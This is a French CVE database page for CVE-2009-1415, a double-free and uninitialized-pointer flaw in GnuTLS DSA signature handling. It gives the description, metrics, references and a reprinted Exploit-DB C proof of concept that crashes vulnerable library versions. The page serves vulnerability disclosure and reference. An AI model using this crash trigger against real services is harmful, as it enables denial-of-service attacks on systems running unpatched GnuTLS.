CVE-2009-1415 : Détail

CVE-2009-1415

Overflow
25.51%V3
Network
2009-04-30
18h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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Descriptions du CVE

lib/pk-libgcrypt.c in libgnutls in GnuTLS before 2.6.6 does not properly handle invalid DSA signatures, which allows remote attackers to cause a denial of service (application crash) and possibly have unspecified other impact via a malformed DSA key that triggers a (1) free of an uninitialized pointer or (2) double free.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-824 Access of Uninitialized Pointer
The product accesses or uses a pointer that has not been initialized.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 32964

Date de publication : 2009-04-29 22h00 +00:00
Auteur : Miroslav Kratochvil
EDB Vérifié : Yes

// source: https://www.securityfocus.com/bid/34783/info GnuTLS is prone to multiple remote vulnerabilities: - A remote code-execution vulnerability - A denial-of-service vulnerability - A signature-generation vulnerability - A signature-verification vulnerability An attacker can exploit these issues to potentially execute arbitrary code, trigger denial-of-service conditions, carry out attacks against data signed with weak signatures, and cause clients to accept expired or invalid certificates from servers. Versions prior to GnuTLS 2.6.6 are vulnerable. /* * Small code to reproduce the CVE-2009-1415 double-free problem. * * Build it using: * * gcc -o cve-2009-1415 cve-2009-1415.c -lgnutls * * If your gnutls library is OK then running it will just print 'success!'. * * If your gnutls library is buggy, then running it will crash like this: * * ** glibc detected *** ./cve-2009-1415: munmap_chunk(): invalid pointer: 0xb7f80a9c *** * ======= Backtrace: ========= * ... */ #include <stdio.h> #include <stdarg.h> #include <stdlib.h> #include <gnutls/gnutls.h> static char dsa_cert[] = "-----BEGIN CERTIFICATE-----\n" "MIIDbzCCAtqgAwIBAgIERiYdRTALBgkqhkiG9w0BAQUwGTEXMBUGA1UEAxMOR251\n" "VExTIHRlc3QgQ0EwHhcNMDcwNDE4MTMyOTQxWhcNMDgwNDE3MTMyOTQxWjA3MRsw\n" "GQYDVQQKExJHbnVUTFMgdGVzdCBzZXJ2ZXIxGDAWBgNVBAMTD3Rlc3QuZ251dGxz\n" "Lm9yZzCCAbQwggEpBgcqhkjOOAQBMIIBHAKBgLmE9VqBvhoNxYpzjwybL5u2DkvD\n" "dBp/ZK2d8yjFoEe8m1dW8ZfVfjcD6fJM9OOLfzCjXS+7oaI3wuo1jx+xX6aiXwHx\n" "IzYr5E8vLd2d1TqmOa96UXzSJY6XdM8exXtLdkOBBx8GFLhuWBLhkOI3b9Ib7GjF\n" "WOLmMOBqXixjeOwHAhSfVoxIZC/+jap6bZbbBF0W7wilcQKBgGIGfuRcdgi3Rhpd\n" "15fUKiH7HzHJ0vT6Odgn0Zv8J12nCqca/FPBL0PCN8iFfz1Mq12BMvsdXh5UERYg\n" "xoBa2YybQ/Dda6D0w/KKnDnSHHsP7/ook4/SoSLr3OCKi60oDs/vCYXpNr2LelDV\n" "e/clDWxgEcTvcJDP1hvru47GPjqXA4GEAAKBgA+Kh1fy0cLcrN9Liw+Luin34QPk\n" "VfqymAfW/RKxgLz1urRQ1H+gDkPnn8l4EV/l5Awsa2qkNdy9VOVgNpox0YpZbmsc\n" "ur0uuut8h+/ayN2h66SD5out+vqOW9c3yDI+lsI+9EPafZECD7e8+O+P90EAXpbf\n" "DwiW3Oqy6QaCr9Ivo4GTMIGQMAwGA1UdEwEB/wQCMAAwGgYDVR0RBBMwEYIPdGVz\n" "dC5nbnV0bHMub3JnMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdDwEB/wQFAwMH\n" "gAAwHQYDVR0OBBYEFL/su87Y6HtwVuzz0SuS1tSZClvzMB8GA1UdIwQYMBaAFOk8\n" "HPutkm7mBqRWLKLhwFMnyPKVMAsGCSqGSIb3DQEBBQOBgQBCsrnfD1xzh8/Eih1f\n" "x+M0lPoX1Re5L2ElHI6DJpHYOBPwf9glwxnet2+avzgUQDUFwUSxOhodpyeaACXD\n" "o0gGVpcH8sOBTQ+aTdM37hGkPxoXjtIkR/LgG5nP2H2JRd5TkW8l13JdM4MJFB4W\n" "QcDzQ8REwidsfh9uKAluk1c/KQ==\n" "-----END CERTIFICATE-----\n"; const gnutls_datum_t dsa_cert_dat = { dsa_cert, sizeof (dsa_cert) }; int main (void) { gnutls_x509_crt_t crt; gnutls_datum_t data = { "foo", 3 }; gnutls_datum_t sig = { "bar", 3 }; int ret; gnutls_global_init (); ret = gnutls_x509_crt_init (&crt); if (ret < 0) return 1; ret = gnutls_x509_crt_import (crt, &dsa_cert_dat, GNUTLS_X509_FMT_PEM); if (ret < 0) return 1; ret = gnutls_x509_crt_verify_data (crt, 0, &data, &sig); if (ret < 0) return 1; printf ("success!\n"); gnutls_x509_crt_deinit (crt); gnutls_global_deinit (); return 0; }

Products Mentioned

Configuraton 0

Gnu>>Gnutls >> Version To (excluding) 2.6.6

Références

http://www.vupen.com/english/advisories/2009/1218
Tags : vdb-entry, x_refsource_VUPEN
http://www.securityfocus.com/bid/34783
Tags : vdb-entry, x_refsource_BID
http://security.gentoo.org/glsa/glsa-200905-04.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securitytracker.com/id?1022157
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/34842
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/35211
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDVSA-2009:116
Tags : vendor-advisory, x_refsource_MANDRIVA